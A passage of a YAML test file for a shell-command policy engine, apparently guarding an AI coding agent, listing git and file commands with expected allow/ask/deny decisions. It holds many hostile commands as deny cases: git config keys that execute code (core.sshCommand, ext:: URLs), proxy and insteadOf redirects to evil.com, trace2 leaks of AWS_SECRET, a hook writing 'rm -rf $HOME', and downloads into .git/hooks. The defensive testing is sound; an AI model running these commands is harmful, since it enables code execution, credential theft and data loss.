    # parser concat-resolution this slipped past the rule because arg.text
    # was the literal source `"core.ssh"Command=evil` (with quotes).
  - id: git-c-concat-quoted-equals-quoted-deny
    command: "git -c \"core.sshCommand\"=\"evil\" fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-concat-empty-raw-string-deny
    command: "git -c core.ssh''Command=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # The empty raw_string `''` in the middle is a no-op shell concat;
    # the resolved value should still be `core.sshCommand=evil`.
  - id: git-c-concat-escaped-backslash-deny
    command: "git -c \\core.sshCommand=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # Leading `\c` in shell is just `c` (backslash-escape on a normal char
    # has no effect). Pre-fix: arg.text retained the leading `\`.
  - id: git-c-concat-string-and-ansic-deny
    command: "git -c \"core.\"$'sshCommand=evil' fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- ANSI-C octal / unicode escapes (R2 Codex P1-2 cont.) ---
  - id: git-c-ansic-octal-escape-deny
    command: "git -c $'\\143ore.sshCommand=evil' fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # `\143` octal = 0x63 = 'c'. After decoding the ANSI-C string is
    # `core.sshCommand=evil`.
  - id: git-c-ansic-unicode-escape-deny
    command: "git -c $'\\u0063ore.sshCommand=evil' fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # `c` = 'c'

  # --- Dynamic / shell-expanded values must NOT be transparently
  # stripped from allowlist matching (R2 Codex P1-3). ---
  - id: git-c-dollar-var-value-not-allowed
    command: "git -c $VAR fetch"
    expected:
      decision: ask
    # Pre-fix: strip_git_global_options stripped `-c $VAR` regardless of
    # ArgMeta, leaving just `git fetch` which matched the allowlist
    # → allow. The `$VAR` value is unknown at policy time and could
    # contain `core.sshCommand=evil`. Now strip leaves UnsafeString
    # values in argv so the allowlist doesn't blindly clear them; outcome
    # falls to the default ask (no rule matches the unknown).
  - id: git-c-dollar-braced-var-value-not-allowed
    command: "git -c ${VAR} fetch"
    expected:
      decision: ask
  - id: git-c-shell-substituted-value-asks
    command: "EVIL=false git -c http.sslVerify=$EVIL fetch"
    expected:
      decision: ask
    # The KEY (http.sslVerify) is on the TLS-downgrade rule but only with
    # specific disabling values (=false / =0 / =no / =off); we cannot
    # statically prove $EVIL resolves to one of those. Pre-fix the strip
    # cleared the value and allowed `git fetch`. Post-fix the value is
    # preserved (UnsafeString) and no deny rule's specific value pattern
    # matches `$EVIL`, so the outcome is the default ask. This is the
    # intended posture for unknowable values.

  # --- `--config-env <KEY>=<ENVVAR>` space form (R2 Codex P1-4) ---
  - id: git-config-env-space-form-sslverify-deny
    command: "git --config-env http.sslVerify=EVIL fetch"
    expected:
      decision: deny
    # Joined `--config-env=KEY=ENVVAR` already denies; space form was a gap.
  - id: git-config-env-space-form-sshcommand-deny
    command: "git --config-env core.sshCommand=EVIL fetch"
    expected:
      decision: deny

  # ============================================================
  # R3 (Opus) findings — remote.*.uploadpack/receivepack/url, url.*.insteadOf,
  # global http.* exfiltration channels
  # ============================================================

  # --- remote.<name>.{uploadpack,receivepack} are config-key equivalents
  # of --upload-pack / --receive-pack and need the same deny posture. ---
  - id: git-c-remote-uploadpack-deny
    command: "git -c remote.origin.uploadpack=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-remote-receivepack-deny
    command: "git -c remote.origin.receivepack=evil push origin master"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- remote.<name>.url=ext::CMD is the documented RCE clone-URL form. ---
  - id: git-c-remote-url-ext-deny
    command: "git -c remote.origin.url=ext::sh fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- url.<X>.insteadOf / pushInsteadOf rewrite URLs silently. ---
  - id: git-c-url-insteadof-deny
    command: "git -c url.git@evil:.insteadOf=https://github.com/ fetch origin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-url-pushinsteadof-deny
    command: "git -c url.https://evil.com/.pushInsteadOf=https://github.com/ push origin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Global http.{cookieFile,proxy,extraHeader,...} exfiltration channels.
  # Distinct from per-URL forms (already covered) and TLS verification disable
  # (also already covered). ---
  - id: git-c-http-cookiefile-deny
    command: "git -c http.cookieFile=/tmp/c fetch"
    expected:
      decision: deny
      rule_id: git-c-exfil-keys
  - id: git-c-http-proxy-deny
    command: "git -c http.proxy=http://evil.com fetch"
    expected:
      decision: deny
      rule_id: git-c-exfil-keys
  - id: git-c-http-extraheader-deny
    command: "git -c http.extraHeader=Authorization:Bearer fetch"
    expected:
      decision: deny
      rule_id: git-c-exfil-keys

  # --- Persistent setter form mirrors of the above (R3 fix) ---
  - id: git-config-set-remote-uploadpack-deny
    command: "git config remote.origin.uploadpack /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-url-insteadof-deny
    command: "git config url.git@evil:.insteadOf https://github.com/"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-http-proxy-deny
    command: "git config http.proxy http://evil.com"
    expected:
      decision: deny
      rule_id: git-config-exfil-keys

  # --- Legit per-key uses must still allow (R3 false-positive guards) ---
  - id: git-c-color-ui-allow-r3
    command: "git -c color.ui=false log"
    expected:
      decision: allow
  - id: git-c-diff-algorithm-allow-r3
    command: "git -c diff.algorithm=histogram diff"
    expected:
      decision: allow

  # ============================================================
  # R3 (Codex) findings — man/browser viewer, attribute-driven exec,
  # LFS custom transfer, --config-env joined-form coverage gaps
  # ============================================================

  # --- `git help` viewer config is config-evaluated shell. Channels:
  # man.<tool>.{cmd,path} and browser.<tool>.{cmd,path}. P0 RCE. ---
  - id: git-c-man-viewer-cmd-deny
    command: "git -c man.viewer=evil -c man.evil.cmd=/tmp/evil help config"
    expected:
      decision: deny
    # rule_id attribution depends on `config` appearing as a help-page arg:
    # git-c-rce-keys carves out `config` via none_of, so this falls through
    # to git-config-rce-keys-spaceform which also covers the man.*.cmd=** keys.
    # Both rules deny; the rule_id mismatch is cosmetic.
  - id: git-c-browser-cmd-deny
    command: "git -c help.browser=evil -c browser.evil.cmd=/tmp/evil help -w config"
    expected:
      decision: deny

  # --- attribute-driven exec channels: diff.<driver>.command/textconv,
  # merge.<driver>.driver, interactive.diffFilter, trailer.<alias>.cmd ---
  - id: git-c-diff-driver-command-deny
    command: "git -c diff.evil.command=/tmp/evil diff"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-diff-driver-textconv-deny
    command: "git -c diff.evil.textconv=/tmp/evil log -p"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-merge-driver-deny
    command: "git -c merge.evil.driver=/tmp/evil merge topic"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-interactive-difffilter-deny
    command: "git -c interactive.diffFilter=/tmp/evil add -p"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-trailer-cmd-deny
    command: "git -c trailer.evil.cmd=/tmp/evil commit --trailer evil -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- init.templateDir + GIT_TEMPLATE_DIR install attacker hooks on
  # `git init` / `git clone`. ---
  - id: git-c-init-templatedir-deny
    command: "git -c init.templateDir=/tmp/evil-template init newrepo"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-env-template-dir-deny
    command: "GIT_TEMPLATE_DIR=/tmp/evil-template git init newrepo"
    expected:
      decision: deny
      rule_id: git-env-rce-vars

  # --- Git LFS custom transfer / extension hooks run external programs. ---
  - id: git-c-lfs-customtransfer-deny
    command: "git -c lfs.customTransfer.evil.path=/tmp/evil clone https://example.com/r.git"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-lfs-standalonetransfer-deny
    command: "git -c lfs.standalonetransferagent=evil clone https://example.com/r.git"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-lfs-extension-clean-deny
    command: "git -c lfs.extension.evil.clean=/tmp/evil add file.bin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- send-email / imap executable setters via persistent config ---
  - id: git-config-set-sendemail-sendmailcmd-deny
    command: "git config sendemail.sendmailCmd /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-imap-tunnel-deny
    command: "git config imap.tunnel /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- --config-env joined form for R3 keys ---
  - id: git-config-env-joined-remote-uploadpack-deny
    command: "EVIL=/tmp/evil git --config-env=remote.origin.uploadpack=EVIL fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-env-joined-remote-url-ext-deny
    command: "EVIL=ext::sh git --config-env=remote.origin.url=EVIL fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-env-joined-url-insteadof-deny
    command: "EVIL=https://github.com/ git --config-env=url.https://evil.com/.insteadOf=EVIL fetch origin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- False-positive guard: `git config url.<URL>.insteadOf` (read form,
  # one arg after subcommand) must NOT deny. The broad url.*://** pattern
  # previously also fired on reads. ---
  - id: git-config-read-url-insteadof-allow
    command: "git config url.https://evil.com/.insteadOf"
    expected:
      decision: allow
    # 2-arg form is a read; min_args=3 on spaceform should exclude it.
    # Pre-fix the joined-form pattern url.*://** fired on this too because
    # joined-form rule had no min_args carve-out. Fix splits the URL-base
    # pattern only on the joined-form rule.

  # ============================================================
  # R4 (Codex) findings — none_of: ["config"] carve-out bypass via
  # positional `config` arg; missed keys (alternateRefsCommand, remote.vcs,
  # remote.proxy)
  # ============================================================

  # --- The none_of: ["config"] carve-out on -c / TLS rules must NOT fire
  # when `config` appears as a positional arg of a non-config subcommand.
  # Pre-fix: `git -c X clone URL config` (where `config` is a refspec/
  # remote name) suppressed the rule entirely → allow. ---
  - id: git-c-fetch-with-positional-config-arg-deny
    command: "git -c url.https://evil/.insteadOf=https://github.com/ fetch config"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-clone-with-positional-config-arg-deny
    command: "git -c http.sslVerify=false clone https://example.com/repo config"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-fetch-sslverify-0-with-config-arg-deny
    command: "git -c http.sslVerify=0 fetch config"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-config-env-fetch-with-positional-config-arg-deny
    command: "EVIL=evil git --config-env=core.sshCommand=EVIL fetch config"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Additional RCE / per-remote keys missed (R4 Codex P1-2) ---
  - id: git-c-core-alternaterefscommand-deny
    command: "git -c core.alternateRefsCommand=/tmp/evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-core-alternaterefscommand-deny
    command: "git config core.alternateRefsCommand /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-c-remote-vcs-deny
    command: "git -c remote.origin.vcs=evil fetch origin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-remote-proxy-deny
    command: "git -c remote.origin.proxy=http://evil:8080 fetch origin"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-remote-vcs-deny
    command: "git config remote.origin.vcs evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-remote-proxy-deny
    command: "git config remote.origin.proxy http://evil:8080"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # ============================================================
  # R5 (Opus) findings — safe.bareRepository, help.browser/web.browser,
  # trace2.configParams
  # ============================================================

  # --- safe.bareRepository is the analogue of safe.directory: bypasses
  # post-CVE-2022 repo-safety guards by letting git execute hooks/config
  # from a bare-repo cwd. ---
  - id: git-c-safe-barerepository-deny
    command: "git -c safe.bareRepository=explicit status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-safe-barerepository-deny
    command: "git config safe.bareRepository explicit"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-env-safe-barerepository-deny
    command: "git --config-env=safe.bareRepository=FOO status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- help.browser / web.browser are the top-level keys selecting which
  # browser entry to use; `git help -w` / `git instaweb` invoke the
  # configured browser. Same channel as core.pager / core.editor. ---
  - id: git-c-help-browser-deny
    command: "git -c help.browser=evil help -w config"
    expected:
      decision: deny
  - id: git-config-set-help-browser-deny
    command: "git config help.browser evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-c-web-browser-deny
    command: "git -c web.browser=evil help -w config"
    expected:
      decision: deny
  - id: git-config-set-web-browser-deny
    command: "git config web.browser evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- trace2.configParams exfiltrates selected config values (matching
  # the glob) to the trace target. Less severe than RCE but documented
  # credential / GPG-key exfil channel. ---
  - id: git-c-trace2-configparams-deny
    command: "git -c trace2.configParams=* status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-trace2-configparams-deny
    command: "git config trace2.configParams foo"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # ============================================================
  # R5 (Codex) findings — protocol.allow + GIT_ALLOW_PROTOCOL,
  # trace2 env exfil, TLS env equivalents, missed exec keys,
  # http.proxyAuthMethod persistent gap
  # ============================================================

  # --- protocol.allow (global default) and GIT_ALLOW_PROTOCOL override
  # the per-protocol allow lists. Documented dangerous-protocol channel. ---
  - id: git-c-protocol-allow-deny
    command: "git -c protocol.allow=always clone ext::sh"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-protocol-allow-deny
    command: "git config protocol.allow always"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-env-allow-protocol-deny
    command: "GIT_ALLOW_PROTOCOL=ext git clone ext::sh"
    expected:
      decision: deny
      rule_id: git-env-rce-vars

  # --- Trace2 env-var family exfiltrates config / env values to a target.
  # Documented credential / secret exfil channel. ---
  - id: git-env-trace2-config-params-deny
    command: "GIT_TRACE2_CONFIG_PARAMS=* GIT_TRACE2_EVENT=/tmp/leak git status"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-trace2-env-vars-deny
    command: "GIT_TRACE2_ENV_VARS=AWS_SECRET git status"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-c-trace2-envvars-deny
    command: "git -c trace2.envVars=AWS_SECRET -c trace2.eventTarget=/tmp/leak status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- TLS env-var equivalents of http.ssl* keys ---
  - id: git-env-ssl-cainfo-deny
    command: "GIT_SSL_CAINFO=/tmp/evil.pem git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-ssl-capath-deny
    command: "GIT_SSL_CAPATH=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-ssl-version-deny
    command: "GIT_SSL_VERSION=tlsv1 git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars

  # --- tar.<format>.command runs an external program for git archive. ---
  - id: git-c-tar-format-command-deny
    command: "git -c tar.foo.command=/tmp/evil archive --format=foo HEAD"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-set-tar-format-command-deny
    command: "git config tar.foo.command /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- difftool/mergetool .path setters (analogue of .cmd, also shell-exec) ---
  - id: git-config-set-difftool-path-deny
    command: "git config difftool.foo.path /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-mergetool-path-deny
    command: "git config mergetool.foo.path /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- gc.recentObjectsHook runs an external command during gc ---
  - id: git-config-set-gc-recentobjectshook-deny
    command: "git config gc.recentObjectsHook /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- sendemail.smtpServer can be a path to a sendmail-like binary ---
  - id: git-config-set-sendemail-smtpserver-deny
    command: "git config sendemail.smtpServer /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- http.proxyAuthMethod was claimed in CHANGELOG but missing from
  # persistent / --config-env coverage (R5 Codex P2). ---
  - id: git-config-set-http-proxyauthmethod-deny
    command: "git config http.proxyAuthMethod basic"
    expected:
      decision: deny
      rule_id: git-config-exfil-keys
  - id: git-config-env-http-proxyauthmethod-deny
    command: "git --config-env=http.proxyAuthMethod=BASIC fetch"
    expected:
      decision: deny
      rule_id: git-c-exfil-keys

  # ============================================================
  # R6 (Codex) findings — git archive --exec (space form) RCE
  # ============================================================

  # --- `git archive --remote=<repo> --exec <cmd>` runs <cmd> locally as
  # the upload-archive side. Documented RCE channel. The joined form
  # --exec=<cmd> was already denied; the space form was intentionally
  # excluded from git-transport-program-flags-spaceform because
  # `git rebase --exec "cmd"` is a legitimate (already-ask-gated) flow.
  # New rule scopes the space-form --exec deny to `git archive`. ---
  - id: git-archive-exec-spaceform-deny
    command: "git archive --remote=. --exec sh HEAD"
    expected:
      decision: deny
      rule_id: git-archive-exec-spaceform
  - id: git-archive-exec-joinedform-deny
    command: "git archive --remote=. --exec=sh HEAD"
    expected:
      decision: deny
      rule_id: git-transport-program-flags

  # --- Negative regression: `git rebase --exec "cmd"` must NOT deny
  # via the new archive rule — already covered by an earlier R2 golden
  # but kept as a guard. ---
  - id: git-rebase-exec-spaceform-still-asks-r6
    command: "git rebase --exec \"make test\" main"
    expected:
      decision: ask
      rule_id: git-rebase

  # --- Credential URL: any scheme denies via `credential.*://**` ---
  - id: git-c-credential-arbitrary-scheme-deny
    command: "git -c credential.gopher://x.com.helper=/tmp/evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # Pattern `credential.*://**` covers any scheme since `*` matches
    # non-`/` chars (the scheme has no `/`) and the trailing `**` is at
    # end-of-pattern (no mid-pattern `/`-cross issue).

  # --- git config --edit (silent rewrite via editor) ---
  - id: git-config-edit-deny
    command: "git config --edit"
    expected:
      decision: deny
      rule_id: git-config-edit
    # GIT_EDITOR can be agent-controlled; --edit becomes a silent rewrite
  - id: git-config-edit-short-deny
    command: "git config -e"
    expected:
      decision: deny
      rule_id: git-config-edit

  # --- Direct redirect writes to git admin files ---
  - id: redirect-write-git-config-deny
    command: "echo 'bare = true' >> .git/config"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin
    # Bypasses every command-based rule by going around `git` entirely
  - id: redirect-write-git-config-relative-deny
    command: "echo x >> ./.git/config"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin
  - id: redirect-write-git-head-deny
    command: "echo abc1234 > .git/HEAD"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin
  - id: redirect-write-git-refs-deny
    command: "echo abc1234 > .git/refs/heads/master"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin
  - id: redirect-write-git-hook-deny
    command: "printf '#!/bin/sh\\nrm -rf $HOME\\n' > .git/hooks/post-commit"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin

  # --- cp/install/ditto/rsync/mv/ln writes to git admin files ---
  - id: cp-overwrite-git-config-deny
    command: "cp /tmp/evil .git/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
    # cp is allowlisted at minimal trust; without this rule it would silently allow
  - id: cp-overwrite-git-hook-deny
    command: "cp /tmp/evil .git/hooks/post-commit"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: install-overwrite-git-config-deny
    command: "install -m 644 /tmp/evil .git/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: rsync-overwrite-git-refs-deny
    command: "rsync /tmp/evil .git/refs/heads/master"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: ln-symlink-git-config-deny
    command: "ln -sf /tmp/evil .git/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: cp-not-git-admin-allow
    command: "cp /tmp/evil mygit/config"
    expected:
      decision: allow
    # Glob is `**/.git/config` (literal `.git`); this should not false-positive

  # --- Directory-destination forms (cp/ln/tar with .git as the dir target) ---
  - id: cp-to-git-dir-deny
    command: "cp /tmp/config .git"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
    # Destination is the .git directory itself
  - id: cp-recursive-to-git-dir-deny
    command: "cp -R /tmp/fakegit/. .git/"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: ln-symlink-git-hooks-dir-deny
    command: "ln -s /tmp/post-commit .git/hooks"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin

  # --- curl/wget downloading directly into .git ---
  - id: curl-output-git-config-deny
    command: "curl -o .git/config https://evil.example.com/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: curl-output-eq-git-hook-deny
    command: "curl --output=.git/hooks/post-commit https://evil.example.com/hook"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: wget-output-git-config-deny
    command: "wget -O .git/config https://evil.example.com/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin

  # --- tar/bsdtar extracting into .git ---
  - id: tar-extract-into-git-deny
    command: "tar -xf evil.tar -C .git/"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: tar-extract-into-git-hooks-deny
    command: "tar -xf evil.tar -C .git/hooks"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: tar-extract-into-git-joined-deny
    command: "tar -xf evil.tar --directory=.git/"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
  - id: wget-directory-prefix-git-hooks-deny
    command: "wget --directory-prefix=.git/hooks https://evil.example.com/h"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin

  # --- High-value extension: alternates / index / info ---
  - id: cp-overwrite-git-alternates-deny
    command: "cp /tmp/evil .git/objects/info/alternates"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin
    # alternates points git at an attacker-controlled object store
  - id: redirect-write-git-alternates-deny
    command: "echo /tmp/evil-objects > .git/objects/info/alternates"
    expected:
      decision: deny
      rule_id: redirect-write-git-admin
  - id: cp-overwrite-git-index-deny
    command: "cp /tmp/evil .git/index"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin

  # --- scp from remote into .git ---
  - id: scp-overwrite-git-config-deny
    command: "scp host:/tmp/evil .git/config"
    expected:
      decision: deny
      rule_id: copy-overwrite-git-admin

  # --- git symbolic-ref write forms ---
  - id: git-symbolic-ref-write-master-ask
    command: "git symbolic-ref HEAD refs/heads/master"
    expected:
      decision: ask
      rule_id: git-symbolic-ref-write
    # Write form: pointing HEAD at a different branch
  - id: git-symbolic-ref-write-feature-ask
    command: "git symbolic-ref HEAD refs/heads/feature-x"
    expected:
      decision: ask
      rule_id: git-symbolic-ref-write
  - id: git-symbolic-ref-short-remote-allow
    command: "git symbolic-ref --short refs/remotes/origin/HEAD"
    expected:
      decision: allow
    # `--short` is read-only; refs/remotes/* in argv must not false-positive
  # Read forms must remain allowed (already tested above as
  # git-symbolic-ref-read-safe / -short-safe / -quiet)

  # --- Protected-ref update-ref (the incident pattern) ---
  - id: git-update-ref-master-deny
    command: "git update-ref refs/heads/master HEAD"
    expected:
      decision: deny
      rule_id: git-update-ref-protected
    # The exact pattern from the 2026-05-09 incident
  - id: git-update-ref-main-deny
    command: "git update-ref refs/heads/main HEAD"
    expected:
      decision: deny
      rule_id: git-update-ref-protected
  - id: git-update-ref-feature-branch-ask
    command: "git update-ref refs/heads/feature-x HEAD"
    expected:
      decision: ask
      rule_id: git-update-ref
    # Non-protected ref still falls through to the high/ask rule
    # (HEAD as value, not target — must not false-positive)
  - id: git-update-ref-head-target-ask
    command: "git update-ref HEAD abc1234"
    expected:
      decision: ask
      rule_id: git-update-ref
    # Moving HEAD itself is rare-but-not-protected; falls through to ask
    # (positional matching would let us deny this without false-positives,
    #  but longline's args matcher is positional-agnostic — acceptable trade-off)

  # ============================================================
  # 9. WORKTREE OPERATIONS
  # ============================================================

  - id: git-worktree-list-safe
    command: "git worktree list"
    expected:
      decision: allow
  - id: git-worktree-add-safe
    command: "git worktree add ../feature feature-branch"
    expected:
      decision: allow
  - id: git-worktree-remove-dangerous
    command: "git worktree remove ../feature"
    expected:
      decision: ask
    # Removes worktree directory
  - id: git-worktree-prune-dangerous
    command: "git worktree prune"
    expected:
      decision: ask
    # Removes stale worktree info

  # ============================================================
  # 10. REFLOG OPERATIONS
  # ============================================================

  - id: git-reflog-show-safe
    command: "git reflog"
    expected:
      decision: allow
  - id: git-reflog-show-branch-safe
    command: "git reflog show main"
    expected:
      decision: allow
  - id: git-reflog-delete-dangerous
    command: "git reflog delete HEAD@{0}"
    expected:
      decision: ask
    # Loses reflog history
  - id: git-reflog-expire-dangerous
    command: "git reflog expire --expire=now --all"
    expected:
      decision: ask
    # Expires all reflog entries

  # ============================================================
  # 11. GC OPERATIONS
  # ============================================================

  - id: git-gc-safe
    command: "git gc"
    expected:
      decision: ask
  - id: git-gc-auto-safe
    command: "git gc --auto"
    expected:
      decision: ask
  - id: git-gc-prune-now-dangerous
    command: "git gc --prune=now"
    expected:
      decision: ask
    # Immediately removes unreachable objects
  - id: git-gc-aggressive-dangerous
    command: "git gc --aggressive --prune=now"
    expected:
      decision: ask
    # Aggressive pruning can lose data

  # ============================================================
  # 12. BISECT OPERATIONS
  # ============================================================

  - id: git-bisect-start-safe
    command: "git bisect start"
    expected:
      decision: allow
  - id: git-bisect-good-safe
    command: "git bisect good"
    expected:
      decision: allow
  - id: git-bisect-reset-dangerous
    command: "git bisect reset"
    expected:
      decision: ask
    # Exits bisect, changes HEAD

  # ============================================================
  # 13. FILE OPERATIONS (mv, rm, grep)
  # ============================================================

  # --- git mv ---
  - id: git-mv-safe
    command: "git mv old.txt new.txt"
    expected:
      decision: allow
  - id: git-mv-dir-safe
    command: "git mv src/old src/new"
    expected:
      decision: allow

  # --- git rm ---
  - id: git-rm-safe
    command: "git rm file.txt"
    expected:
      decision: allow
  - id: git-rm-cached-safe
    command: "git rm --cached file.txt"
    expected:
      decision: allow

  # --- git grep ---
  - id: git-grep-safe
    command: "git grep 'pattern'"
    expected:
      decision: allow
  - id: git-grep-files-safe
    command: "git grep -l 'TODO'"
    expected:
      decision: allow

  # ============================================================
  # 14. ARCHIVE OPERATIONS
  # ============================================================

  - id: git-archive-safe
    command: "git archive HEAD"
    expected:
      decision: allow
  - id: git-archive-output-safe
    command: "git archive --format=tar HEAD -o archive.tar"
    expected:
      decision: allow

  # ============================================================
  # 15. REPOSITORY SETUP (clone, init)
  # ============================================================

  - id: git-clone-safe
    command: "git clone https://github.com/user/repo.git"
    expected:
      decision: allow
  - id: git-init-safe
    command: "git init"
    expected:
      decision: allow

  # ============================================================
  # 16. MERGE AND CHERRY-PICK
  # ============================================================

  - id: git-merge
    command: "git merge feature-branch"
    expected:
      decision: allow
  - id: git-cherry-pick
    command: "git cherry-pick abc1234"
    expected:
      decision: allow

  # ============================================================
  # 17. FORCE PUSH (always ask)
  # ============================================================

  # --- Force push to main/master (--force) ---
  - id: git-force-push-main
    command: "git push --force origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main
  - id: git-force-push-master
    command: "git push -f origin master"
    expected:
      decision: ask
      rule_id: git-force-push-main

  # --- Force push to main/master (--force-with-lease) ---
  - id: git-force-with-lease-push-main
    command: "git push --force-with-lease origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main
  - id: git-force-with-lease-push-master
    command: "git push --force-with-lease origin master"
    expected:
      decision: ask
      rule_id: git-force-push-main

  # --- Force push to non-main branches (--force) ---
  - id: git-force-push-feature
    command: "git push --force origin feature-branch"
    expected:
      decision: ask
      rule_id: git-force-push-any
  - id: git-force-push-feature-short
    command: "git push -f origin feature-branch"
    expected:
      decision: ask
      rule_id: git-force-push-any

  # --- Force push to non-main branches (--force-with-lease) ---
  - id: git-force-with-lease-push-feature
    command: "git push --force-with-lease origin feature-branch"
    expected:
      decision: ask
      rule_id: git-force-push-any
  - id: git-force-with-lease-push-refspec
    command: "git push --force-with-lease=origin/main origin feature-branch"
    expected:
      decision: ask
      rule_id: git-force-push-any
    # --force-with-lease=<refspec> variant

  # --- Force push with --force-if-includes (Git 2.30+) ---
  - id: git-force-if-includes-push-main
    command: "git push --force-if-includes origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main
  - id: git-force-if-includes-push-feature
    command: "git push --force-if-includes origin feature-branch"
    expected:
      decision: ask
      rule_id: git-force-push-any

  # --- Combined force flags ---
  - id: git-force-with-lease-and-force-push-main
    command: "git push --force-with-lease --force origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main

  # --- Force push bare (no remote/branch specified) ---
  - id: git-force-push-bare
    command: "git push --force"
    expected:
      decision: ask
      rule_id: git-force-push-any
  - id: git-force-push-bare-short
    command: "git push -f"
    expected:
      decision: ask
      rule_id: git-force-push-any
  - id: git-force-with-lease-bare
    command: "git push --force-with-lease"
    expected:
      decision: ask
      rule_id: git-force-push-any

  # --- Force push with -C flag ---
  - id: git-C-force-push-main
    command: "git -C /tmp push --force origin main"
    expected:
      decision: ask
      rule_id: git-force-push-main
  - id: git-C-force-with-lease-push
    command: "git -C /tmp push --force-with-lease origin feature"
    expected:
      decision: ask
      rule_id: git-force-push-any

  # --- Plain push (no force) - ask at default standard trust ---
  - id: git-push-plain
    command: "git push"
    expected:
      decision: ask
